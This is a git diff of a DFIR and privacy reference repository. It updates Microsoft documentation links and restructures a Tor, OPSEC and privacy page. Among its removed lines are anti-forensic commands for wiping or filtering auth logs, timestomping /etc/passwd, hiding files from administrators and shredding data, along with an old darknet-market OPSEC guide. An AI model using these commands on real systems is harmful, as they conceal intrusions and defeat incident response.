[Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/).* ```cmd pslist @@ -233,6 +233,6 @@ FOR /F %i IN ('wmic process where "ExecutablePath is not null" get ExecutablePat ## Recommended Functional Resources -* **[Sysinternals Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer)**: Advanced Task Manager replacement. -* **[Sysinternals Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)**: Real-time file system, Registry, and process/thread activity. +* **[Sysinternals Process Explorer](https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer)**: Advanced Task Manager replacement. +* **[Sysinternals Process Monitor](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)**: Real-time file system, Registry, and process/thread activity. * **[System Informer](https://systeminformer.sourceforge.io/)** (formerly Process Hacker): A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. diff --git a/dfir-digital-forensics-and-incident-response/windows-remediation-commands.md b/dfir-digital-forensics-and-incident-response/windows-remediation-commands.md index 56b6d9f..09d2d26 100644 --- a/dfir-digital-forensics-and-incident-response/windows-remediation-commands.md +++ b/dfir-digital-forensics-and-incident-response/windows-remediation-commands.md @@ -50,32 +50,13 @@ taskkill /PID [PID] /T /F Stop-Process -Name "malware" -Force Stop-Process -Id [PID] -Force ``` +Memory triage commands for injected threads and shellcode extraction are maintained in Memory Forensics. Use them to confirm what is running before terminating processes or deleting artifacts. +{% content-ref url="memory-forensics/" %} +[memory-forensics](memory-forensics/) +{% endcontent-ref %} -**Locate Possible Shellcode within process via Injected Thread** - -*Requires `Get-InjectedThread.ps1` from [Jared Atkinson](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2).* - -``` -Import-Module .\Get-InjectedThread.ps1 -Get-InjectedThread -``` - -**Obtain Possible Shellcode within process as Hex** - -``` -(Get-InjectedThread|Select -exp Bytes|ForEach-Object ToString X2) -join '' -(Get-InjectedThread|? {$_.ThreadId -match '{PID}'}|Select -exp Bytes|ForEach-Object ToString X2) -join '' -``` - -**Obtain Possible Shellcode within process as Hex (Escaped)** - -``` -(Get-InjectedThread|Select -exp Bytes|ForEach-Object ToString X2) -join '\x' -(Get-InjectedThread|? {$_.ThreadId -match '{PID}'}|Select -exp Bytes|ForEach-Object ToString X2) -join '\x' -``` - ### **Remove ACE entries for “everyone”** ``` diff --git a/dfir-digital-forensics-and-incident-response/windows-system-enumeration.md b/dfir-digital-forensics-and-incident-response/windows-system-enumeration.md index 38c545b..bfb7857 100644 --- a/dfir-digital-forensics-and-incident-response/windows-system-enumeration.md +++ b/dfir-digital-forensics-and-incident-response/windows-system-enumeration.md @@ -416,7 +416,7 @@ reg query HKCU\Software\Classes\ms-settings\shell\open\command reg query HKU\{SID}\Software\Classes\ms-settings\shell\open\command ``` -#### [Quick overview of persistent locations (AutoRuns)](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) +#### [Quick overview of persistent locations (AutoRuns)](https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns) ``` autorunsc.exe -accepteula -a * -c -h -v -m > autoruns.csv @@ -588,7 +588,7 @@ Function Get-WmiNamespace ($Path = 'root') Get-WmiNamespace -Path $FullPath } } -Get-WMINamespace -Recurse +Get-WmiNamespace ``` ## Network Connections @@ -787,7 +787,7 @@ $CIEvents = Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-CodeIn $CIEvents ``` -### Obtain DLL information [ListDLLs](https://docs.microsoft.com/en-us/sysinternals/downloads/listdlls) +### Obtain DLL information [ListDLLs](https://learn.microsoft.com/en-us/sysinternals/downloads/listdlls) ``` listdlls [-r] [-v | -u] [processname|pid] @@ -828,7 +828,7 @@ foreach ($domains in Get-DnsClientCache){Resolve-DnsName $domains.Entry -Type "T ### Active Directory Investigation -Note: Live information can be found using [DSQuery](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952\(v=ws.11\)) or [Netdom](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772217\(v=ws.11\)). +Note: Live information can be found using [DSQuery](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952\(v=ws.11\)) or [Netdom](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772217\(v=ws.11\)). ``` dsquery computer diff --git a/dfir-digital-forensics-and-incident-response/yara.md b/dfir-digital-forensics-and-incident-response/yara.md index 7918564..849bbad 100644 --- a/dfir-digital-forensics-and-incident-response/yara.md +++ b/dfir-digital-forensics-and-incident-response/yara.md @@ -1,5 +1,5 @@ --- -description: Virustotal's file scanning engine and ruleset +description: Pattern-matching rules for malware identification and signature hunting --- # YARA @@ -97,7 +97,5 @@ When writing rules, look for unique artifacts that are unlikely to change or dis * [Deepfence YARA Rules](https://github.com/deepfence/yara-rules) * [DaysOfYARA](https://github.com/shellcromancer/DaysOfYARA-2023) -_Operator Handbook: YARA - pg. 428_ - ![](<../.gitbook/assets/image (16).png>) diff --git a/grey-privacy-tor-opsec/README.md b/grey-privacy-tor-opsec/README.md index 24c7e3d..1f3dca7 100644 --- a/grey-privacy-tor-opsec/README.md +++ b/grey-privacy-tor-opsec/README.md @@ -1,64 +1,75 @@ -# Grey - Privacy/TOR/OPSEC +--- +description: Privacy, Tor, PGP, and personal OPSEC references. +--- -## Privacy Guides and How-To +# Grey - Privacy/Tor/OPSEC + +Grey is for personal privacy, anonymity, secure communication, Tor, PGP, and operational safety for legitimate research. Dark-web search and OSINT sources belong in Cyber Intelligence; offensive routing, evasion, and command-history hiding belong in Red Offensive. + +## Start Here {% embed url="https://www.amazon.com/Extreme-Privacy-Takes-Disappear-America/dp/1093757620" %} -Read this first! +Read this first. {% endembed %} -
- -General Guides and Reference - -* [Hitch Hiker's Guide to Online Anonymity ](https://anonymousplanet.github.io/thgtoa/guide.html) -* [Infosec\_Reference/AnonOpSecPrivacy](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/AnonOpSecPrivacy.md) -* [personal-security-checklist](https://github.com/Lissy93/personal-security-checklist) -* [https://prism-break.org/en/](https://prism-break.org/en/) - A handy way to opt out of global data collection schemes -* [https://www.safetydetectives.com/best-vpns/](https://www.safetydetectives.com/best-vpns/) - The VPN breakdown -* [Electronic Frontier Foundation. Keep the internet free.](https://www.eff.org/) -* [EFF's Survielance Self Defense guide](https://ssd.eff.org/) -* [CrashOverride's DIY Secuirty Guides](https://www.crashoverridenetwork.com/resources.html) -* [Security-in-a-box Security Guides](https://securityinabox.org/en/) -* [https://exposingtheinvisible.org/resources/watching-out-yourself/](https://exposingtheinvisible.org/resources/watching-out-yourself/) - Personal security guide for investigators -* [AmIunique](https://amiunique.org/) - Learn how identifiable you are on the Internet -* [Surveillance Self-Defense](https://ssd.eff.org/) - Tips, Tools and How-tos for Safer Online Communications. +{% content-ref url="tor.md" %} +[tor.md](tor.md) +{% endcontent-ref %} -
+{% content-ref url="pgp-guide.md" %} +[pgp-guide.md](pgp-guide.md) +{% endcontent-ref %} {% content-ref url="jolly-rogers-security-for-beginners.md" %} [jolly-rogers-security-for-beginners.md](jolly-rogers-security-for-beginners.md) {% endcontent-ref %} -
+The Jolly Roger page is preserved as a historical archive and should not be modernized in place. -Browser Security/Check-your-self +## Privacy Guides and Reference -Due to the invasive tracking of almost everything by google, Chrome and most Chromium based browsers are to be avoided. Firefox is the defacto choice for secure web browser. +
-[https://www.mozilla.org/en-US/firefox/](https://www.mozilla.org/en-US/firefox/) +General Guides -* Firefox Secure Install and Setup - Extreme Privacy: What it takes to disappear 5th edition - pg. 39 +* [Hitchhiker's Guide to Online Anonymity](https://anonymousplanet.github.io/thgtoa/guide.html) +* [Infosec Reference: Anon/OPSEC/Privacy](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/AnonOpSecPrivacy.md) +* [Personal Security Checklist](https://github.com/Lissy93/personal-security-checklist) +* [Prism Break](https://prism-break.org/en/) - Alternatives focused on reducing data collection. +* [Privacy Guides](https://www.privacyguides.org/) - Successor community to the old privacytools.io project. +* [Electronic Frontier Foundation](https://www.eff.org/) +* [EFF Surveillance Self-Defense](https://ssd.eff.org/) +* [Crash Override DIY Security Guides](https://www.crashoverridenetwork.com/resources.html) +* [Security-in-a-Box](https://securityinabox.org/en/) +* [Exposing the Invisible: Watching Out for Yourself](https://exposingtheinvisible.org/resources/watching-out-yourself/) - Personal security guide for investigators. +* [SafetyDetectives VPN list](https://www.safetydetectives.com/best-vpns/) - Commercial review list; verify recommendations independently before trusting them. -**Search Engines** +
-* [https://duckduckgo.com/](https://duckduckgo.com/) - Private and Secure but not the best search results - * [https://docs.searxng.org/](https://docs.searxng.org/) - +## Browser Privacy and Leak Checks -Misc Resources +
-* [tps://coveryourtracks.eff.org/](https://coveryourtracks.eff.org/) - EFF sponsored Browser tracking checker -* [**Panopticlick 3.0**](https://panopticlick.eff.org/) - is your browser safe against tracking? -* [**Privacy Analyzer**](https://privacy.net/analyzer/) - see what data is exposed from your browser. -* [Browser Mirror](https://centralops.net/asp/co/BrowserMirror.vbs.asp) - See what your browser says about you -* [Webkay](https://webkay.robinlinus.com/) - A demonstration of all the data your browser knows about you. All this data can be accessed by any website without asking you. -* [Logger](https://inteltechniques.com/logger/) - IntelTechniques custom tool for seeing what data can be tracked in your browser. -* [https://tenta.com/test/](https://tenta.com/test/) - Site for checking DNS Leakage and other browser security issues. -* [https://www.grc.com/shieldsup](https://www.grc.com/shieldsup) - Great tool for profiling your internet connection and router for exposure, potential vulnerabilities, and open ports. -* [https://ipleak.net](https://ipleak.net) - See what information you are giving away while browsing the internet. IP addresses, DNS leaks, WebRTC leaks, fingerprints and user-agent. -* [https://browserleaks.com](https://browserleaks.com) - Here you will find a gallery of security testing tools that will show you what kind of personal data can be leaked, and how to protect yourself from it. -* [https://shutuptrackers.com/browser/tweaks.php](https://shutuptrackers.com/browser/tweaks.php) - Firefox Privacy Settings -* [What every Browser knows about you](https://webkay.robinlinus.com) — This site not only shows what information your browser provides to third-party sites, but also explains how it can be dangerous and suggests what extensions will help to ensure your anonymity. -* [https://socradar.io/labs/vpnradar/](https://socradar.io/labs/vpnradar/) - VPN privacy checker +Browser Checks + +Use Tor Browser, Firefox, Mullvad Browser, or another privacy-focused browser with a configuration that matches your threat model. Chrome and other Chromium browsers can be hardened, but their defaults are not privacy-first. + +* [Firefox](https://www.mozilla.org/en-US/firefox/) +* Firefox secure install and setup - _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 39_ +* [DuckDuckGo](https://duckduckgo.com/) - Private search engine. +* [SearXNG](https://docs.searxng.org/) - Self-hostable metasearch engine. +* [Cover Your Tracks](https://coveryourtracks.eff.org/) - EFF browser tracking and fingerprinting test. Replaces the older Panopticlick branding. +* [AmIUnique](https://amiunique.org/) - Browser fingerprint uniqueness check. +* [Privacy Analyzer](https://privacy.net/analyzer/) - Browser data exposure check. +* [Browser Mirror](https://centralops.net/asp/co/BrowserMirror.vbs.asp) - Shows browser headers and exposed client data. +* [Webkay](https://webkay.robinlinus.com/) - Demonstrates what browser APIs expose. +* [IntelTechniques Logger](https://inteltechniques.com/logger/) - Shows trackable browser data. +* [GRC ShieldsUP](https://www.grc.com/shieldsup) - Internet connection and router exposure check. +* [ipleak.net](https://ipleak.net/) - IP, DNS, WebRTC, and user-agent leak checks. +* [BrowserLeaks](https://browserleaks.com/) - Browser security and privacy testing tools. +* [SOCRadar VPNRadar](https://socradar.io/labs/vpnradar/) - VPN privacy checker. +* [Tenta browser test](https://tenta.com/test/) - Historical leak-check tool; verify current availability before relying on it. +* [Shut Up Trackers browser tweaks](https://shutuptrackers.com/browser/tweaks.php) - Older Firefox tweak list. Prefer current Firefox/Mullvad/arkenfox guidance for maintained hardening.
@@ -68,82 +79,60 @@ Misc Resources General Tools -* [Awesome Lists Collection: Anti-Censorship](https://github.com/danoctavian/awesome-anti-censorship) -* [Awesome Lists Collection: Anti-Forensics](https://github.com/shadawck/awesome-anti-forensic) -* Identity Scrubbers - * [https://onerep.com/](https://onerep.com/) -* [PrivacyTools - Encryption Against Global Mass Surveillance](https://privacytools.io/) - -- [SnowHaze Browser](https://www.snowhaze.com/en/browser.html) - SnowHaze is a browser with your privacy and security in mind. SnowHaze is open source and offers you the most extensive tools on iOS to reclaim the control over your personal data and move freely on the internet. -- [MySudo](https://mysudo.com/) - Handy tool for creating entire personal profiles with numbers and emails you can use in place of your personal information. -- [https://privacy.com/](https://privacy.com/) - A wonderful platform for placing anonymous purchases. Allows you to create a digital preloaded credit card so your real number isnt stored by amazon or google. -- [7-Day Free Phone Number Trial - Get Temporary Phone Numbers | Burner](https://www.burnerapp.com/) -- [Syncthing](https://syncthing.net/) - Open Source, secure file synchronization program. -- [Tails - Home](https://tails.boum.org/) - Portable linux distribution focused on extreme privacy and security. -- [Anonymouse.org](http://anonymouse.org/anonwww.html) - Proxied "anonymous" web searching tool. -- [Privoxy - Home Page](https://www.privoxy.org/) - Privoxy is a non-caching web proxy with advanced filtering capabilities for enhancing privacy, modifying web page data and HTTP headers, controlling access, and removing ads and other obnoxious Internet junk. -- [Kali Anonsurf ](https://github.com/Und3rf10w/kali-anonsurf)- ParrotSec's anonsurf and stealth, ported to work with Kali Linux. - * [ParrotSec/anonsurf](https://github.com/ParrotSec/anonsurf) - Anonsurf routes all your traffic through Tor, and it also lets you start i2p services and clear any traces left on the user disk. Anonsurf also kills away all dangerous applications by virtue of the Pandora bomb, so you do not need to worry about having a Tor browser and other scripts running to hide your system. -- [cryptsetup-nuke-password](https://www.kali.org/tools/cryptsetup-nuke-password/) - Installing this package lets you configure a special “nuke password” that can be used to destroy the encryption keys required to unlock the encrypted partitions. This password can be entered in the usual early-boot prompt asking the passphrase to unlock the encrypted partition(s). -- [How to set up ProxyChains - Change IP](https://youtu.be/FtFTh-KVjsA) -- [How to set up ProxyChains - Stay Anonymous](./#linux-ssh-tunneling) -- [VPN + ProxyChains = Maximum Anonymity](https://youtu.be/TMHGcnuNoyw) -- [Changing/Masking your DNS Traffic](https://youtu.be/SVW1-4ft8d0) +* [Awesome Anti-Censorship](https://github.com/danoctavian/awesome-anti-censorship) +* [Awesome Anti-Forensics](https://github.com/shadawck/awesome-anti-forensic) - Awesome list; duplicate allowed by the guide's Awesome List exception. +* [OneRep](https://onerep.com/) - Data broker removal service. +* [SnowHaze Browser](https://www.snowhaze.com/en/browser.html) - iOS privacy browser. +* [MySudo](https://mysudo.com/) - Creates alternate phone/email identities. +* [Privacy.com](https://privacy.com/) - Virtual payment cards. +* [Burner](https://www.burnerapp.com/) - Temporary phone numbers. +* [Syncthing](https://syncthing.net/) - Open source file synchronization. +* [Tails](https://tails.net/) - Portable privacy-focused live OS. +* [Anonymouse.org](http://anonymouse.org/anonwww.html) - Legacy anonymous proxy; not recommended for serious privacy. +* [Privoxy](https://www.privoxy.org/) - Filtering web proxy. +* [Kali Anonsurf](https://github.com/Und3rf10w/kali-anonsurf) - Kali port of ParrotSec Anonsurf. + * [ParrotSec Anonsurf](https://github.com/ParrotSec/anonsurf) +* [cryptsetup-nuke-password](https://www.kali.org/tools/cryptsetup-nuke-password/) - Kali package that can destroy encrypted partition keys with a special passphrase.
-Secure Comms - -**Primary Tools** - -These are the go-to tools before others for combination of security and features. - -* [https://www.signal.org/](https://www.signal.org/) - an encrypted communications app. - * Secure Setup - Extreme Privacy: What it takes to disappear 5th edition - pg. 130 - * [https://molly.im/](https://molly.im/) - A Signal fork that will allow you to have and use a second account. -* [https://wire.com/en/](https://wire.com/en/) - Secure messaging, file sharing, voice calls and video conferences. All protected with end-to-end +Secure Communications -**Alternative tooling** +Primary tools: -* [https://threema.ch/en](https://threema.ch/en) - Secure, open-source, premium secure chat. -* [https://matrix.org/](https://matrix.org/) - An open network for secure, decentralized, real-time communication. -* [https://getsession.org/](https://getsession.org/) - Session is an end-to-end encrypted messenger that minimises sensitive metadata, designed and built for people who want absolute privacy and freedom from any form of surveillance. +* [Signal](https://www.signal.org/) - Encrypted communications app. + * Secure setup - _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 130_ + * [Molly](https://molly.im/) - Hardened Signal fork for Android. +* [Wire](https://wire.com/en/) - E2EE collaboration and messaging platform. Verify the current plan and identity model before selecting it for sensitive use. -**Depreciated** +Alternatives: -* [TorChat](https://github.com/prof7bit/TorChat) - Decentralized anaonymous IM that uses Tor networks. Creates a new randomly generated .onion address for each client launch - * [http://kpvz7ki2v5agwt35.onion/wiki/index.php/Hacking\_TorChat](http://kpvz7ki2v5agwt35.onion/wiki/index.php/Hacking_TorChat) +* [Threema](https://threema.ch/en) +* [Matrix](https://matrix.org/) +* [Session](https://getsession.org/) -DO NOT USER +Deprecated or high-risk: -* Wickr -* Whatsapp -* Telegram - - - -
- -
- -Secure File Transfer - -* [https://proton.me/drive](https://proton.me/drive) - The best option out there. -* [https://tresorit.com/](https://tresorit.com/) - Free version allows up to 5gb file upload and share. Share link expires after 7 days and the file is deleted. +* [TorChat](https://github.com/prof7bit/TorChat) - Abandoned Tor-based messenger. Keep only as historical context. +* Wickr Me - Discontinued for consumers. +* WhatsApp - Strong message encryption but high metadata and account-linkage concerns. +* Telegram - Standard chats are not end-to-end encrypted; secret chats have different behavior and limitations.
-Secure Webmail +Secure File Transfer and Webmail -* [**CounterMail**](https://countermail.com/) - online email service, designed to provide maximum security and privacy. -* [**Mail2Tor**](http://mail2tor.com/) - is a Tor Hidden Service that allows anyone to send and receive emails anonymously. -* [**Tutanota**](https://tutanota.com/) - is the world's most secure email service and amazingly easy to use. -* [**Protonmail**](https://protonmail.com/) - is the world's largest secure email service, developed by CERN and MIT scientists. -* [**Startmail**](https://www.startmail.com/en/) - private & encrypted email made easy. +* [Proton Drive](https://proton.me/drive) +* [Tresorit](https://tresorit.com/) +* [CounterMail](https://countermail.com/) +* [Mail2Tor](http://mail2tor.com/) - Historically used anonymous email service; verify current trust and availability before use. +* [Tutanota/Tuta](https://tuta.com/) +* [Proton Mail](https://proton.me/mail) +* [StartMail](https://www.startmail.com/en/)
@@ -151,305 +140,97 @@ DO NOT USER Altnets -* [https://www.whonix.org/wiki/ZeroNet](https://www.whonix.org/wiki/ZeroNet) - Excellent guide on how to securely setup ZeroNet. Also provides a decent list of common ZeroNet sites. -* [https://nodehist.fidonet.org.ua](https://nodehist.fidonet.org.ua) - A large list of FidoNet nodes. Searchable by node address or sysop name. -* [https://nzbfriends.com/](https://nzbfriends.com/) - A search engine for Usenet. - - +* [Whonix ZeroNet guide](https://www.whonix.org/wiki/ZeroNet) - ZeroNet is largely historical; verify project activity before using it. +* [FidoNet node history](https://nodehist.fidonet.org.ua) - Historical/alternative network reference. +* [NZBFriends](https://nzbfriends.com/) - Usenet search engine.
## Personal Network Security -![](https://jasonamorrow.com/wp-content/uploads/2015/12/Improve_Home_Network_Security.png) - -## OPSEC - -* Inteltechniaues' Opsec Prep Checklist - Start Here: [https://inteltechniques.com/EP/tasks.pdf](https://inteltechniques.com/EP/tasks.pdf) -* [https://www.intelligencewithsteve.com/post/a-5-minute-guide-to-creating-a-covert-account-for-internet-investigations-osint](https://www.intelligencewithsteve.com/post/a-5-minute-guide-to-creating-a-covert-account-for-internet-investigations-osint) - -
- -Dread OpSec Guide +The old page used a hotlinked 2015 image for this section. Prefer current router and home-network guidance: -### Dread OPSEC Guide +* Update router firmware and replace unsupported hardware. +* Use WPA2/WPA3 with a strong passphrase. +* Disable WPS. +* Separate guest, IoT, and trusted devices where possible. +* Review UPnP, port forwards, DNS settings, and admin-interface exposure. +* Run leak checks from the Browser Privacy section after VPN/Tor changes. -Security Settings: Click on the shield icon at the top of the Tor browser and click "Advanced Security Settings" and set the value to "Safest". Note For Tails Users: Tails will reset this value on system restarts, so make sure you do this everytime you launch Tor on Tails! - -Privacy Checking: To check that your I.P. address is a Tor exit node, and that your security settings are correct, go to [https://whatsmybrowser.org/](https://whatsmybrowser.org/) and ensure the following: - --Javascript is disabled! -No browser details can be detected! - -Plugins: Additional addons/plugins should not be installed. Plugins not supported by the TorProject run the risk of bypassing the Tor network and accessing the net directly, which runs the risk of leaking your real I.P. address. It should be a clear indication to anyone why this is an issue, but people sometimes disregard this risk and lose a large part of their OpSec over this mistake. - -Tails: Tails is a live operating system that you can start on almost any computer from a DVD, USB stick, or SD card. It aims at preserving your privacy and anonymity and helps you to: use the internet anonymously and circumvent censorship; route all connections to the internet through the Tor network; leave no trace on the computer you are using unless you explicitly ask it to; encrypts your files, emails, and instant messaging using state-of-the-art cryptography. - -Official Site: [https://tails.boum.org/](https://tails.boum.org/) Tails For The Darknet Markets: [http://archivecaslytosk.onion/fyYz5](http://archivecaslytosk.onion/fyYz5) - -Whonix: An alternative to Tails and also an open source project. Whonix is an operating system focused on anonymity, privacy, and security. It's based on the Tor anonymity network, Debian GNU/Linux, and security by isolation. DNS leaks are impossible and not even malware with root privileges can find out the user's real I.P. address. - -Official Site: [https://www.whonix.org/](https://www.whonix.org/) Whonix For The Darknet Markets: [http://archivecaslytosk.onion/COfTH](http://archivecaslytosk.onion/COfTH) - -Shredding History / Footprints: This section only applies to users who use the Tor browser while not using Tails or Whonix. - -The recommended tool for cleaning footprints, history, cache, etc. from your drive(s) is using a program known as CCleaner. When using the program it is recommended to go to 'Options' > 'Settings' and then selecting "Complex Overwrite" (7 passes) and "Secure File Deletion". Make sure all the boxes are ticked when cleaning including the 'Windows' and 'Application' tabs. - -This is normally recommended before the connection to Tor, and after you've left Tor, to wipe all cookies etc. Remember that although this may clear a good deal of the tracks left behind on your PC, wiping your drive(s) with random data and zeros from a live operating system is the only way to permanently clean your tracks. It is also good to note that there is no reliable way to wipe solid state drives so using hard drives is the preferred hardware. - -Cookies - How The NSA Is Using Them To Track Tor Users: Let's suppose that there is an online shopping website, owned, or controlled by the NSA. When a normal user will open that website from his/her real I.P. address, the website creates a cookie on the user's browser and stores the real I.P. address and other personal information about the user. When the same user will again visit the same NSA owned website, enabling Tor this time on the same browser - the website will read the last stored cookies from the browser, which includes the user's real I.P. address, and other personal Information. Furthermore, the website just needs to maintain a database of real I.P. addresses against the Tor Proxy enabled fake I.P. addresses to track anonymous users. The more popular the site is, the more users can be tracked easily. Documents show that the NSA is using online advertisements, i.e. Google Ads to make their tracking sites popular on the internet. - -How You Can Avoid Cookie Tracking? By using the Tor browser exclusively for darknet activities. Browsers can't read cookies created by other browsers so using your standard browser for clearnet use can save you from this issue. However, you should always clear the cookies (with CCleaner or alike) after you’re done so any stored information, such as login information will not be stored on the computer's drive. If you're doing something very interesting, you should use Tor on an amnesic operating system, such as Tails, so that any data is dumped when the machine is closed. - -Closing: Hopefully you found this Tor Browser Security Guide a helpful source of information on the various steps needed to maintain your security and privacy. Don't take your freedom, nor your livelihood, for granted. You never know what could happen so never let the odds be stacked against you! - -
- -
- -MacOS Opsec - -To set up your MacOS box, there will be many steps to follow. The best and most comprehensive list is in the book "Extreme Privacy: What it takes to disappear" by Michael Bazzell. - -Extreme Privacy: What it takes to disappear 5th edition - pg. 39 - -* [LittleSnitch](https://www.obdev.at/products/littlesnitch/index.html) - MacOS Open source firewall app -* [Tools by ObjectiveSee](https://objective-see.org/tools.html) - Great suite of open source MacOS tools to keep you safe and private. - * [Lulu](https://objective-see.org/products/lulu.html) - MacOS Open source firewall app. Great alternative. ObjectiveSee tools are great. - * [KnockKnock](https://objective-see.org/products/knockknock.html) - KnockKnock uncovers persistently installed software in order to generically reveal such malware. - -
- -
+## OPSEC -Linux Opsec +* [IntelTechniques OPSEC Prep Checklist](https://inteltechniques.com/EP/tasks.pdf) +* [Exposing the Invisible Kit](https://kit.exposingtheinvisible.org/en/) - Investigation and verification training. +* [A 5-minute guide to creating a covert account for internet investigations](https://www.intelligencewithsteve.com/post/a-5-minute-guide-to-creating-a-covert-account-for-internet-investigations-osint) - Maintained under Cyber Intelligence because it is an OSINT persona workflow. -To set up your Linux box, there will be many steps to follow. The best and most comprehensive list is in the book "Extreme Privacy: What it takes to disappear" by Michael Bazzell. +{% content-ref url="../cyber-intelligence/osint/" %} +[osint](../cyber-intelligence/osint/) +{% endcontent-ref %} -Extreme Privacy: What it takes to disappear 5th edition - pg. 21 +### Historical Dread OPSEC Guide -* [Pop!\_OS](https://pop.system76.com/) - Secure linux distro of choice. -* [OpenSnitch](https://github.com/evilsocket/opensnitch) - Open source personal firewall +The old Dread OPSEC material mixed useful browser/Tails/Whonix advice with darknet-market framing, stale onion links, and outdated CCleaner-style footprint cleanup. Preserve it only as historical context; use the maintained Tor, Tails, Whonix, and browser references above for current workflows. -
+### Device OPSEC
-Mobile Device Opsec +macOS -To set up your Linux box, there will be many steps to follow. The best and most comprehensive list is in the book "Extreme Privacy: What it takes to disappear" by Michael Bazzell. - -Extreme Privacy: What it takes to disappear 5th edition - pg. 75 - -Extreme Privacy: What it takes to disappear 5th edition - pg. 117 - -* [https://grapheneos.org/](https://grapheneos.org/) - Private and Secure Mobile OS - * Recommend Google Pixel 8 for this OS +* _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 39_ +* [Little Snitch](https://www.obdev.at/products/littlesnitch/index.html) - Commercial macOS network monitor/firewall. It is not open source. +* [Objective-See Tools](https://objective-see.org/tools.html) + * [LuLu](https://objective-see.org/products/lulu.html) - Open source macOS firewall. + * [KnockKnock](https://objective-see.org/products/knockknock.html) - Reveals persistent software.
-WebOpsec - +Linux - -* Disable Javascript - -- Set security to safest setting - -* Use Cached version of website when on network instead of net requests. - * cache.example.co.uk - -- Use a search engine that does not track its users - * [https://www.duckduckgo.com](https://www.duckduckgo.com) - * [http://3g2upl4pq6kufc4m.onion/](http://3g2upl4pq6kufc4m.onion/) - -* Tracking cookies - * NSA uses things like Google Ads and other tracking cookies to identify users over TOR - * [http://www.washingtonpost.com/blogs//theswitch/wp/2013/12/10/nsausesgooglecookiestopinpointtargetsforhacking/](http://www.washingtonpost.com/blogs/theswitch/wp/2013/12/10/nsausesgooglecookiestopinpointtargetsforhacking/) - * TOR browser and Tails delete cookies on exit - * Regularly restart tor browser to keep deletings your cookies - * Disable DOM storage pseudocookies - * via about:config in URL bar - * type “storage” in filter bar - * set dom.storage.enabled to false - -- Website settings - * Disable “Show others my online status” - -* Doublecheck - * Display all the information your browser is currently showing about you - * Use the above Browser +* _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 21_ +* [Pop!_OS](https://pop.system76.com/) +* [OpenSnitch](https://github.com/evilsocket/opensnitch) - Linux application firewall.
-File Management - - - -* File verification - * [http://www.gpg4win.org/](http://www.gpg4win.org/) - Verifes files via PGP signature - * MD5 and Sha-1 hash verification - -- File shredding\ - ◇ [http://www.dban.org](http://www.dban.org)\ - ◇ [http://www.fileshredder.org](http://www.fileshredder.org)\ - ◇ [http://www.piriform.com/ccleaner](http://www.piriform.com/ccleaner) - -* **Shred & Erase a file** - - ``` - shred -z foobar.txt - ``` - -- **Shred & Erase without **_**shred**_ - - ``` - FN=foobar.txt; dd bs=1k count="`du -sk \"${FN}\" | cut -f1`" if=/dev/urandom >"${FN}"; rm -f "${FN}" - ``` - - Note: Or deploy your files in _/dev/shm_ directory so that no data is written to the harddrive. Data will be deleted on reboot. - - Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file. - -* **Restore the date of a file** - - Let's say you have modified _/etc/passwd_ but the file date now shows that _/etc/passwd_ has been modifed. Use _touch_ to change the file data to the date of another file (in this example, _/etc/shadow_) - - ``` - touch -r /etc/shadow /etc/passwd - ``` - -- **Clear logfile** - - This will reset the logfile to 0 without having to restart syslogd etc: - - ``` - cat /dev/null >/var/log/auth.log - ``` - - This will remove any sign of us from the log file: - - ``` - cd /dev/shm - grep -v 'thc\.org' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log - ``` - -* **Hide files from that User without root privileges** - - Our favorite working directory is _/dev/shm/_. This location is volatile memory and will be lost on reboot. NO LOGZ == NO CRIME. - - Hiding permanent files: - - Method 1: - - ``` - alias ls='ls -I system-dev' - ``` - - This will hide the directory _system-dev_ from the _ls_ command. Place in User's _\~/.profile_ or system wide _/etc/profile_. - - Method 2: Tricks from the 80s. Consider any directory that the admin rarely looks into (like _/boot/.X11/.._ or so): +Mobile - ``` - mkdir '...' - cd '...' - ``` - - Method 3: Unix allows filenames with about any ASCII character but 0x00. Try tab (). Happens that most Admins do not know how to cd into any such directory. - - ``` - mkdir $'\t' - cd $'\t' - ``` - -- **Encrypting a file** - - Encrypt your 0-Days and log files before transfering them - please. (and pick your own password): - - Encrypt: - - ``` - openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I input.txt.enc - ``` - - Decrypt: - - ``` - openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I input.txt - ``` +* _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 75 and pg. 117_ +* [GrapheneOS](https://grapheneos.org/) - Privacy and security focused Android distribution for supported Pixel devices.
-
- -Email Opsec +## Web OPSEC Basics -* [Nulltrace](http://nulltc777uyenqhqvtms46lhqzpzsj6fhac5xnubhko4uqwvqgosoead.onion/index.html) - An onion site that offers an easy to use PGP toolkit. Allows a user to create PGP keypairs, sign, verify, encrypt and decrypt. +* Disable JavaScript for high-risk Tor browsing when your workflow allows it. +* Use the Tor Browser security slider for riskier browsing. +* Do not mix personal browsing sessions with research or anonymity sessions. +* Restart Tor Browser regularly to clear state. +* Prefer Tor Browser/Tails/Whonix defaults over hand-rolled browser hardening for anonymity work. +* Treat old v2 onion addresses and clearnet onion proxy links as stale or unsafe by default. +## File Verification and Encryption - -
